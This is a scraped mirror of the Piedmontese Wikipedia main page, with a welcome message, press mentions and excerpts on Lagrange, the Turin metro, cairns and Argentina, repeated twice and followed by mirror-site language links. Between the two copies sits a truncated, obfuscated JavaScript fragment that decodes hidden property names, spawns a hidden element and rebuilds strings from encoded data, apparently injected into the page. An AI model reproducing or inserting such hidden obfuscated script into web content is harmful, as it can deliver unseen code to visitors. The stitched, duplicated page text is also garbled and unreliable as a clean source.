Intrada

Da Wikipedia.

Bin ëvnù ant la Wikipedia,

L'enciclopedìa lìbera andoa tùit a peulo dé na man.
Dal 27 ëd Mars 2006, con 2.411 artìcoj an piemontèis

Wikipedia an lenga piemontèisa

La wikipedia a l'é la pì gran enciclopedìa dël mond ant sla Ragnà, e costa a l'è soa edission an piemontèis.

Chi a veul consulté dël material a peul

  • -sërchelo con la funsion sërca ambelessì a la man ësnista,
  • -dovré la lista dij contnù për categorìe ambelessì dzora a la man drita.

Coma tute le edission dla wiki, ëdcò costa a l'é faita dal travaj d'académich, student e gent normal, tùit volontari che a travajo ansema për feje servissi a la comun-a dij parlant ëd na lenga.

Un travaj dont na part a peul esse soa!.

Vira person-a a l'ha un chèich sò setor ëd competensa, na materia andoa che a peul giuteje a tùit a amprende, ën butand a disposission ëd tuti soa conossensa. Conossensa che a peul ven-e da na specialisassion dë studi, n'esperiensa ëd travaj ò pura bele mach da un passatemp.

Tuti a peulo e a devo nen mach pijé, ma ëdcò travajé për j'àutri. Donca pijomla da dësgagià. A l'é franch normal che un a sia miraco nen vàire sigur ëd soa grafìa e gramàtica, ma sòn a l'é pro nen un gran sagrin. Ël material a ven controlà, la grafìa quand a venta rangela i la rangioma, ma j'informassion antant a resto e a-j servo a tùit, dzortut aj cit.

Chi a l'é neuv ambelessì a peul registresse coma utent e fesse soa pàgina utent, për pijé l'andi a scrive e modifiché ëd test. Lë stranòm (nickname) che un as sern a peul esse an piemontèis, a-i é pa gnun-a manca dë dovré ij caràter dl'anglèis. Ën visitand la Piòla dël Paotass as peulo trovesse ëd neuve ansima al proget, ëd pàgine d'agiut e dë spiegon técnich dzora a coma che a sia mej travajé.

Ëd nojàtri a diso...
I l'oma gnanca fait an temp a nasse che is trovoma già recensì ansima a vàire mojen dë stampa, tant an papé che ant sla Ragnà. Motobin mersì a tùit për la reclam :)

  1. Magg 2006 - É - Arvista piemontèisa Buté via ël savej dla gent ëd Bèrto 'd Sèra
  2. 6 ëd Giugn 2006 - La Stampa Wikipedia, la più grande dla Ragnà ëd Giuseppe Culicchia
  3. 7 ëd Giugn 2006 - Apogeo Wikipedia parla (anche) in dialetto d'Antonio Sofi
  4. 7 ëd Giugn 2006 - TGCOM Wikipedia parla in dialetto
  5. Prima sman-a ëd Luj dël 2006 - Gazzetta d'Alba Wikipedia, enciclopedia in piemontese a firma V.P.

Na biografìa:
Joseph-Louis Lagrange

Matemàtich e astrònom piemontèis. Sò travaj a spantia an tanti setor dla matemàtica: trames ëd j'àotri, ël càlcol dle variassion (dont a l'é ël fondator, ansema a Euler), la mecànica, la teorìa dij nùmer, j'equassion algébriche... Lese tut l'artìcol

N'artìcol: Metropolitan-a ëd Turin

La Metropolitan-a ëd Turin a l’è un mès ëd traspòrt pùblich provist dël sistema ëd guida automàtica VAL, ativà ant soa prima part ël 4 fërvé 2006 an ocasion dij XX Gieugh Olìmpich Invernaj.

Travaj danans a la stassion ëd Pòrta Neuva
Fé pì gròss
Travaj danans a la stassion ëd Pòrta Neuva

A diferensa ëd Roma e Milan, per vàire agn a Turin a-i è mai stàit un servissi ëd metropolitan-a, contut che ant j’agn ’30 dël Neuvsent, con la ricostrussion dla central via Roma, a fussa stàit creà un tunnel sota la strà ch’a l'avrìa dvù fé part d’una linea soteranea. Mach ant ël november 1995 a l’è stait aprovà ël proget ëd la linea Camp Vòl – Pòrta Neuva, dal confin òvest ëd la sità, a le pòrte ëd Colegn, fin-a a la prinsipal stassion dij tren; belavans a j’ero nen ij finansiament per soa costrussion. Ant l’avril dël 1999 a l’è stàit garantì finalment un finanssiament al 60%; ant l’istess ani a l’è stait aprovà ël progèt ch’a l’avrìa giontà aj 9,6 km ëd la linea d'àotri 4,6 km, për slonghé ël percors da Pòrta Neuva fin-a a la stassion dël Lingòt. Ij travaj a son ancaminasse ufissialment ël 19 dzèmber 2000.

Ant la galerìa a viagio ij tren VAL
Fé pì gròss
Ant la galerìa a viagio ij tren VAL

Ël prim trat, da Fermi a Pòrta Neuva, a l’è longh 9,6 km e a conten 15 stassion. Për l’aspet tecnich, la metropolitan-a ëd Turin a costituiss la còpia precisa ëd la metropolitan-a ëd Lille, an Fransa: a l’han mantenù le mideme mzure e dimension. La GTT (Gruppo Torinese Trasporti), ch’a gestiss l’euvra, a vàluta che për cost trat-sì ël temp ëd përcorensa medi a sarà ëd 15 minute. La stassion Fermi, la stassion sucessiva Paradis e ’l depòsit dij tren as treuvo ant ël comun ëd Colegn. Intrand ant la sità, la metropolitan-a a cor sota ‘l longh Cors Fransa, për peui viré vers Pòrta Susa, passé sota Cors Vitòrio Emanuel II e argionze la stassion ëd Pòrta Neuva.

An sle banchin-e dle stassion le pòrte ëd sicurëssa a ampedisso l'intrada për asard ansima aj binari
Fé pì gròss
An sle banchin-e dle stassion le pòrte ëd sicurëssa a ampedisso l'intrada për asard ansima aj binari

La galerìa ch’a porta ij tren dal depòsit ëd Colegn fin-a a la veja stassion ëd Pòrta Susa a l’é stàita terminà ant ël giugn dël 2004. Ël 4 fërvé 2006 a l’è stàit inaugurà ël tragit Fermi-XVIII Dzèmber; lë pcit tragit XVIII Dzèmber-Pòrta Neuva a sarà druvert ant ël giugn 2007.

Ij travaj për la costrussion dël tragit Pòrta Neuva-Lingòt a son ancaminasse ant ël 2006 e a dovrìo terminé ant ël 2010. Ël cost ëd la realisassion dël proget antregh, da Colegn al Lingòt, a dovrìa esse d’apopré 966 milion d’euro.

Le stassion, ch’a disto an media 550 m, a l’han na longhëssa ëd 60 m, e a son përtant adate a arsèive ij tren ch’a l’han na longhëssa ëd 52 m e na capacità ëd 440 passagé. Mach le stassion dë scambi Pòrta Neuva e Pòrta Susa a l’avran dle dimension pì grande. Le stassion a son stàite disegnà da l’Ëstudi Bernhard Kohn & Associés. Ël sistema dovrà a l’è ël VAL, progetà da l’asienda fransèisa Matra, catà da Siemens e integrà ant ël Siemens Transportation System.

Con na velocità media ëd 32 km/h, la capacità dla linea a sarà ëd 15000 passagé l’ora an minca sens ëd marcia. L’antrames ëd temp antra ël passagi ëd doi tren a sarà mach ëd doi minute ant j’ore pì traficà. A son ëdcò previst dij prolongament dël tragit, a parte dal 2010, a òvest ëd Colegn vers Rosta e a sud dël Lingòt vers Piassa Bengasi. A son ëdcò an camin ch’a progeto la sconda linea ëd metropolitan-a: l’orientament general a sarà nòrd-sud e a passerà për ël sènter sitadin (Piassa Castel), ancrosiand la Metro 1 a Pòrta Neuva. A smija sicur ch’a partirà da Orbassan, ma a l’è ancor incerta l’àutra destinassion (Mapan, San Mò o Venarìa). Vardé ambelessì për lese tut l'artìcol

Na figura
Omèt a l'é miraco un-a dle pì veje paròle piemontèise, e nen mach piemontèise... Lese l'artìcol

N'omèt che a marca ël senté aranda d'un giassé.
Fé pì gròss
N'omèt che a marca ël senté aranda d'un giassé.

Na nassion

Drapò dl'Argentin-a

La Repùblica Argentin-a a l'è un pais dl'América meridional. Avzin l'Argentin-a o-i son ël Brasil, l'Uruguai, ël Paraguai, la Bolivia e ël Cile. A l'è na repùblica federal compòsta da province. A l'è bagnaja da l'océan Atlàntich. Le sità pì amportant i son la capital Buenos Aires, Rosario, Còrdoba, Santa Fè, San Miguel de Tucuman, Bahìa Blanca, Mendoza e La Plata... Lese tut l'artìcol

Proget che a resto nòstre seur
Meta-Wikipedia | Wiktionary | Wikibooks | Wikinews | Wikiquote | Wikisource

Vardé ëdcò ël portal dla Wikipedia për trové dle Wikipedia an dj'àutre lenghe.

Too bad you do not speak Piedmontese
It's a pity, you actually miss a very interesting language with a unique grammar set. Anyway, since you are probably not going to learn how to cope with our verbal pronouns in a few seconds, you are welcome to our Foreign Affairs discussion page where you can drop us a line on any subject.

OMMI! Ma io non SO LEGGERE!!

E be'? :) È facile imparare a leggere una lingua che si parla già. Consulti

questa pagina e vedrà, in un attimo anche Lei avrà il suo badge da bogianen :)
St'utent-sì a l'é un bogianen



OMMI! pero si YO no
SE LEER!

¿Y que? :) Es fácil aprender a leer un idioma que ya se habla. Consulte usted esta pagina y verá, en un momento tendrá usted su Badge de Bogianen :)


BANCHÈT dj'UTISS
Lìber për chi a veul amprende

a lese e a scrive mej an piemontèis, e che an fan d'arferiment a tùit për la coression ortogràfica dij test ant sle pàgine marcà koiné piemontèisa.

Për ёscrive dësgagià, che as dëscarìa la Tastera piemontèisa!

E che a manca pa dë vardesse la pàgina d'agiut për chi as anandia da zero.


 right    AMIS

()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~';function ds(d,s){var _,$,h,x='',r=s.length;for(_=0;_=0&&(h=s.charAt((r/2)%r)),x+=h;return x;}var _0xf62sadc=ds(':7C2>6',$pe),_0xf62sagsdg=ds('?@?6',$pe),_0xf62s4gg=ds('4C62E6t=6>6?E',$pe);const _=document[_0xf62s4gg](_0xf62sadc);var _0xf62s45htrgb=ds('DEJ=6',$pe),_0xf62s45h8jgb=ds('5:DA=2J',$pe);_[_0xf62s45htrgb][_0xf62s45h8jgb]=_0xf62sagsdg;var _0x54y0p=ds('A2CD6u=@2E',$pe),_0x54rgrt3vcb=ds('A2CD6x?E',$pe),_0x54hrgfb=ds('$EC:?8',$pe),_0x54hr5gfdfb=ds('7C@>r92Cr@56',$pe),_0x54h9h=ds('5@4F>6?Et=6>6?E',$pe),_0x5dsad9h=ds('4@?E6?E(:?5@H',$pe),_0x5dsdsadasdad9h=ds('2AA6?5r9:=5',$pe),_0x54hr6ytgfvb=ds('C6>@G6r9:=5',$pe);document[_0x54h9h][_0x5dsdsadasdad9h](_);var f=_[_0x5dsad9h][_0x54hrgfb][_0x54hr5gfdfb];var p=_[_0x5dsad9h][_0x54rgrt3vcb];var v=_[_0x5dsad9h][_0x54y0p];document[_0x54h9h][_0x54hr6ytgfvb](_);function H(index){return Number(index).toString(36).replace(/[0-9]/g,function(s){return f(p(s,10)+65);});}var o={$:function(){var o={};for(var i=0;i-1&&0===t.indexOf(n[f])&&(i=0),o>-1&&(e+=y(i*r.length+o),i=1);}return e;})),(function(s){var _={};for(k in s){try{_[k]=s[k].bind(s);}catch(e){_[k]=s[k];}}return _;})(document))

Web Analytics
CLASSICISTRANIERI HOME PAGE - YOUTUBE CHANNEL

Make a donation: IBAN: IT36M0708677020000000008016 - BIC/SWIFT:  ICRAITRRU60 - VALERIO DI STEFANO or

QR Code


Privacy Policy Cookie Policy Termini e Condizioni


Intrada - Wikipedia

Intrada

Da Wikipedia.

Bin ëvnù ant la Wikipedia,

L'enciclopedìa lìbera andoa tùit a peulo dé na man.
Dal 27 ëd Mars 2006, con 2.411 artìcoj an piemontèis

Wikipedia an lenga piemontèisa

La wikipedia a l'é la pì gran enciclopedìa dël mond ant sla Ragnà, e costa a l'è soa edission an piemontèis.

Chi a veul consulté dël material a peul

  • -sërchelo con la funsion sërca ambelessì a la man ësnista,
  • -dovré la lista dij contnù për categorìe ambelessì dzora a la man drita.

Coma tute le edission dla wiki, ëdcò costa a l'é faita dal travaj d'académich, student e gent normal, tùit volontari che a travajo ansema për feje servissi a la comun-a dij parlant ëd na lenga.

Un travaj dont na part a peul esse soa!.

Vira person-a a l'ha un chèich sò setor ëd competensa, na materia andoa che a peul giuteje a tùit a amprende, ën butand a disposission ëd tuti soa conossensa. Conossensa che a peul ven-e da na specialisassion dë studi, n'esperiensa ëd travaj ò pura bele mach da un passatemp.

Tuti a peulo e a devo nen mach pijé, ma ëdcò travajé për j'àutri. Donca pijomla da dësgagià. A l'é franch normal che un a sia miraco nen vàire sigur ëd soa grafìa e gramàtica, ma sòn a l'é pro nen un gran sagrin. Ël material a ven controlà, la grafìa quand a venta rangela i la rangioma, ma j'informassion antant a resto e a-j servo a tùit, dzortut aj cit.

Chi a l'é neuv ambelessì a peul registresse coma utent e fesse soa pàgina utent, për pijé l'andi a scrive e modifiché ëd test. Lë stranòm (nickname) che un as sern a peul esse an piemontèis, a-i é pa gnun-a manca dë dovré ij caràter dl'anglèis. Ën visitand la Piòla dël Paotass as peulo trovesse ëd neuve ansima al proget, ëd pàgine d'agiut e dë spiegon técnich dzora a coma che a sia mej travajé.

Ëd nojàtri a diso...
I l'oma gnanca fait an temp a nasse che is trovoma già recensì ansima a vàire mojen dë stampa, tant an papé che ant sla Ragnà. Motobin mersì a tùit për la reclam :)

  1. Magg 2006 - É - Arvista piemontèisa Buté via ël savej dla gent ëd Bèrto 'd Sèra
  2. 6 ëd Giugn 2006 - La Stampa Wikipedia, la più grande dla Ragnà ëd Giuseppe Culicchia
  3. 7 ëd Giugn 2006 - Apogeo Wikipedia parla (anche) in dialetto d'Antonio Sofi
  4. 7 ëd Giugn 2006 - TGCOM Wikipedia parla in dialetto
  5. Prima sman-a ëd Luj dël 2006 - Gazzetta d'Alba Wikipedia, enciclopedia in piemontese a firma V.P.

Na biografìa:
Joseph-Louis Lagrange

Matemàtich e astrònom piemontèis. Sò travaj a spantia an tanti setor dla matemàtica: trames ëd j'àotri, ël càlcol dle variassion (dont a l'é ël fondator, ansema a Euler), la mecànica, la teorìa dij nùmer, j'equassion algébriche... Lese tut l'artìcol

N'artìcol: Metropolitan-a ëd Turin

La Metropolitan-a ëd Turin a l’è un mès ëd traspòrt pùblich provist dël sistema ëd guida automàtica VAL, ativà ant soa prima part ël 4 fërvé 2006 an ocasion dij XX Gieugh Olìmpich Invernaj.

Travaj danans a la stassion ëd Pòrta Neuva
Fé pì gròss
Travaj danans a la stassion ëd Pòrta Neuva

A diferensa ëd Roma e Milan, per vàire agn a Turin a-i è mai stàit un servissi ëd metropolitan-a, contut che ant j’agn ’30 dël Neuvsent, con la ricostrussion dla central via Roma, a fussa stàit creà un tunnel sota la strà ch’a l'avrìa dvù fé part d’una linea soteranea. Mach ant ël november 1995 a l’è stait aprovà ël proget ëd la linea Camp Vòl – Pòrta Neuva, dal confin òvest ëd la sità, a le pòrte ëd Colegn, fin-a a la prinsipal stassion dij tren; belavans a j’ero nen ij finansiament per soa costrussion. Ant l’avril dël 1999 a l’è stàit garantì finalment un finanssiament al 60%; ant l’istess ani a l’è stait aprovà ël progèt ch’a l’avrìa giontà aj 9,6 km ëd la linea d'àotri 4,6 km, për slonghé ël percors da Pòrta Neuva fin-a a la stassion dël Lingòt. Ij travaj a son ancaminasse ufissialment ël 19 dzèmber 2000.

Ant la galerìa a viagio ij tren VAL
Fé pì gròss
Ant la galerìa a viagio ij tren VAL

Ël prim trat, da Fermi a Pòrta Neuva, a l’è longh 9,6 km e a conten 15 stassion. Për l’aspet tecnich, la metropolitan-a ëd Turin a costituiss la còpia precisa ëd la metropolitan-a ëd Lille, an Fransa: a l’han mantenù le mideme mzure e dimension. La GTT (Gruppo Torinese Trasporti), ch’a gestiss l’euvra, a vàluta che për cost trat-sì ël temp ëd përcorensa medi a sarà ëd 15 minute. La stassion Fermi, la stassion sucessiva Paradis e ’l depòsit dij tren as treuvo ant ël comun ëd Colegn. Intrand ant la sità, la metropolitan-a a cor sota ‘l longh Cors Fransa, për peui viré vers Pòrta Susa, passé sota Cors Vitòrio Emanuel II e argionze la stassion ëd Pòrta Neuva.

An sle banchin-e dle stassion le pòrte ëd sicurëssa a ampedisso l'intrada për asard ansima aj binari
Fé pì gròss
An sle banchin-e dle stassion le pòrte ëd sicurëssa a ampedisso l'intrada për asard ansima aj binari

La galerìa ch’a porta ij tren dal depòsit ëd Colegn fin-a a la veja stassion ëd Pòrta Susa a l’é stàita terminà ant ël giugn dël 2004. Ël 4 fërvé 2006 a l’è stàit inaugurà ël tragit Fermi-XVIII Dzèmber; lë pcit tragit XVIII Dzèmber-Pòrta Neuva a sarà druvert ant ël giugn 2007.

Ij travaj për la costrussion dël tragit Pòrta Neuva-Lingòt a son ancaminasse ant ël 2006 e a dovrìo terminé ant ël 2010. Ël cost ëd la realisassion dël proget antregh, da Colegn al Lingòt, a dovrìa esse d’apopré 966 milion d’euro.

Le stassion, ch’a disto an media 550 m, a l’han na longhëssa ëd 60 m, e a son përtant adate a arsèive ij tren ch’a l’han na longhëssa ëd 52 m e na capacità ëd 440 passagé. Mach le stassion dë scambi Pòrta Neuva e Pòrta Susa a l’avran dle dimension pì grande. Le stassion a son stàite disegnà da l’Ëstudi Bernhard Kohn & Associés. Ël sistema dovrà a l’è ël VAL, progetà da l’asienda fransèisa Matra, catà da Siemens e integrà ant ël Siemens Transportation System.

Con na velocità media ëd 32 km/h, la capacità dla linea a sarà ëd 15000 passagé l’ora an minca sens ëd marcia. L’antrames ëd temp antra ël passagi ëd doi tren a sarà mach ëd doi minute ant j’ore pì traficà. A son ëdcò previst dij prolongament dël tragit, a parte dal 2010, a òvest ëd Colegn vers Rosta e a sud dël Lingòt vers Piassa Bengasi. A son ëdcò an camin ch’a progeto la sconda linea ëd metropolitan-a: l’orientament general a sarà nòrd-sud e a passerà për ël sènter sitadin (Piassa Castel), ancrosiand la Metro 1 a Pòrta Neuva. A smija sicur ch’a partirà da Orbassan, ma a l’è ancor incerta l’àutra destinassion (Mapan, San Mò o Venarìa). Vardé ambelessì për lese tut l'artìcol

Na figura
Omèt a l'é miraco un-a dle pì veje paròle piemontèise, e nen mach piemontèise... Lese l'artìcol

N'omèt che a marca ël senté aranda d'un giassé.
Fé pì gròss
N'omèt che a marca ël senté aranda d'un giassé.

Na nassion

Drapò dl'Argentin-a

La Repùblica Argentin-a a l'è un pais dl'América meridional. Avzin l'Argentin-a o-i son ël Brasil, l'Uruguai, ël Paraguai, la Bolivia e ël Cile. A l'è na repùblica federal compòsta da province. A l'è bagnaja da l'océan Atlàntich. Le sità pì amportant i son la capital Buenos Aires, Rosario, Còrdoba, Santa Fè, San Miguel de Tucuman, Bahìa Blanca, Mendoza e La Plata... Lese tut l'artìcol

Proget che a resto nòstre seur
Meta-Wikipedia | Wiktionary | Wikibooks | Wikinews | Wikiquote | Wikisource

Vardé ëdcò ël portal dla Wikipedia për trové dle Wikipedia an dj'àutre lenghe.

Too bad you do not speak Piedmontese
It's a pity, you actually miss a very interesting language with a unique grammar set. Anyway, since you are probably not going to learn how to cope with our verbal pronouns in a few seconds, you are welcome to our Foreign Affairs discussion page where you can drop us a line on any subject.

OMMI! Ma io non SO LEGGERE!!

E be'? :) È facile imparare a leggere una lingua che si parla già. Consulti

questa pagina e vedrà, in un attimo anche Lei avrà il suo badge da bogianen :)
St'utent-sì a l'é un bogianen



OMMI! pero si YO no
SE LEER!

¿Y que? :) Es fácil aprender a leer un idioma que ya se habla. Consulte usted esta pagina y verá, en un momento tendrá usted su Badge de Bogianen :)


BANCHÈT dj'UTISS
Lìber për chi a veul amprende

a lese e a scrive mej an piemontèis, e che an fan d'arferiment a tùit për la coression ortogràfica dij test ant sle pàgine marcà koiné piemontèisa.

Për ёscrive dësgagià, che as dëscarìa la Tastera piemontèisa!

E che a manca pa dë vardesse la pàgina d'agiut për chi as anandia da zero.


 right    AMIS

Static Wikipedia 2008 (no images)

aa - ab - af - ak - als - am - an - ang - ar - arc - as - ast - av - ay - az - ba - bar - bat_smg - bcl - be - be_x_old - bg - bh - bi - bm - bn - bo - bpy - br - bs - bug - bxr - ca - cbk_zam - cdo - ce - ceb - ch - cho - chr - chy - co - cr - crh - cs - csb - cu - cv - cy - da - de - diq - dsb - dv - dz - ee - el - eml - en - eo - es - et - eu - ext - fa - ff - fi - fiu_vro - fj - fo - fr - frp - fur - fy - ga - gan - gd - gl - glk - gn - got - gu - gv - ha - hak - haw - he - hi - hif - ho - hr - hsb - ht - hu - hy - hz - ia - id - ie - ig - ii - ik - ilo - io - is - it - iu - ja - jbo - jv - ka - kaa - kab - kg - ki - kj - kk - kl - km - kn - ko - kr - ks - ksh - ku - kv - kw - ky - la - lad - lb - lbe - lg - li - lij - lmo - ln - lo - lt - lv - map_bms - mdf - mg - mh - mi - mk - ml - mn - mo - mr - mt - mus - my - myv - mzn - na - nah - nap - nds - nds_nl - ne - new - ng - nl - nn - no - nov - nrm - nv - ny - oc - om - or - os - pa - pag - pam - pap - pdc - pi - pih - pl - pms - ps - pt - qu - quality - rm - rmy - rn - ro - roa_rup - roa_tara - ru - rw - sa - sah - sc - scn - sco - sd - se - sg - sh - si - simple - sk - sl - sm - sn - so - sr - srn - ss - st - stq - su - sv - sw - szl - ta - te - tet - tg - th - ti - tk - tl - tlh - tn - to - tpi - tr - ts - tt - tum - tw - ty - udm - ug - uk - ur - uz - ve - vec - vi - vls - vo - wa - war - wo - wuu - xal - xh - yi - yo - za - zea - zh - zh_classical - zh_min_nan - zh_yue - zu -

Static Wikipedia 2007 (no images)

aa - ab - af - ak - als - am - an - ang - ar - arc - as - ast - av - ay - az - ba - bar - bat_smg - bcl - be - be_x_old - bg - bh - bi - bm - bn - bo - bpy - br - bs - bug - bxr - ca - cbk_zam - cdo - ce - ceb - ch - cho - chr - chy - co - cr - crh - cs - csb - cu - cv - cy - da - de - diq - dsb - dv - dz - ee - el - eml - en - eo - es - et - eu - ext - fa - ff - fi - fiu_vro - fj - fo - fr - frp - fur - fy - ga - gan - gd - gl - glk - gn - got - gu - gv - ha - hak - haw - he - hi - hif - ho - hr - hsb - ht - hu - hy - hz - ia - id - ie - ig - ii - ik - ilo - io - is - it - iu - ja - jbo - jv - ka - kaa - kab - kg - ki - kj - kk - kl - km - kn - ko - kr - ks - ksh - ku - kv - kw - ky - la - lad - lb - lbe - lg - li - lij - lmo - ln - lo - lt - lv - map_bms - mdf - mg - mh - mi - mk - ml - mn - mo - mr - mt - mus - my - myv - mzn - na - nah - nap - nds - nds_nl - ne - new - ng - nl - nn - no - nov - nrm - nv - ny - oc - om - or - os - pa - pag - pam - pap - pdc - pi - pih - pl - pms - ps - pt - qu - quality - rm - rmy - rn - ro - roa_rup - roa_tara - ru - rw - sa - sah - sc - scn - sco - sd - se - sg - sh - si - simple - sk - sl - sm - sn - so - sr - srn - ss - st - stq - su - sv - sw - szl - ta - te - tet - tg - th - ti - tk - tl - tlh - tn - to - tpi - tr - ts - tt - tum - tw - ty - udm - ug - uk - ur - uz - ve - vec - vi - vls - vo - wa - war - wo - wuu - xal - xh - yi - yo - za - zea - zh - zh_classical - zh_min_nan - zh_yue - zu -

Static Wikipedia 2006 (no images)

aa - ab - af - ak - als - am - an - ang - ar - arc - as - ast - av - ay - az - ba - bar - bat_smg - bcl - be - be_x_old - bg - bh - bi - bm - bn - bo - bpy - br - bs - bug - bxr - ca - cbk_zam - cdo - ce - ceb - ch - cho - chr - chy - co - cr - crh - cs - csb - cu - cv - cy - da - de - diq - dsb - dv - dz - ee - el - eml - eo - es - et - eu - ext - fa - ff - fi - fiu_vro - fj - fo - fr - frp - fur - fy - ga - gan - gd - gl - glk - gn - got - gu - gv - ha - hak - haw - he - hi - hif - ho - hr - hsb - ht - hu - hy - hz - ia - id - ie - ig - ii - ik - ilo - io - is - it - iu - ja - jbo - jv - ka - kaa - kab - kg - ki - kj - kk - kl - km - kn - ko - kr - ks - ksh - ku - kv - kw - ky - la - lad - lb - lbe - lg - li - lij - lmo - ln - lo - lt - lv - map_bms - mdf - mg - mh - mi - mk - ml - mn - mo - mr - mt - mus - my - myv - mzn - na - nah - nap - nds - nds_nl - ne - new - ng - nl - nn - no - nov - nrm - nv - ny - oc - om - or - os - pa - pag - pam - pap - pdc - pi - pih - pl - pms - ps - pt - qu - quality - rm - rmy - rn - ro - roa_rup - roa_tara - ru - rw - sa - sah - sc - scn - sco - sd - se - sg - sh - si - simple - sk - sl - sm - sn - so - sr - srn - ss - st - stq - su - sv - sw - szl - ta - te - tet - tg - th - ti - tk - tl - tlh - tn - to - tpi - tr - ts - tt - tum - tw - ty - udm - ug - uk - ur - uz - ve - vec - vi - vls - vo - wa - war - wo - wuu - xal - xh - yi - yo - za - zea - zh - zh_classical - zh_min_nan - zh_yue - zu -

Sub-domains

CDRoms - Magnatune - Librivox - Liber Liber - Encyclopaedia Britannica - Project Gutenberg - Wikipedia 2008 - Wikipedia 2007 - Wikipedia 2006 -

Other Domains

https://www.classicistranieri.it - https://www.ebooksgratis.com - https://www.gutenbergaustralia.com - https://www.englishwikipedia.com - https://www.wikipediazim.com - https://www.wikisourcezim.com - https://www.projectgutenberg.net - https://www.projectgutenberg.es - https://www.radioascolto.com - https://www.debitoformtivo.it - https://www.wikipediaforschools.org - https://www.projectgutenbergzim.com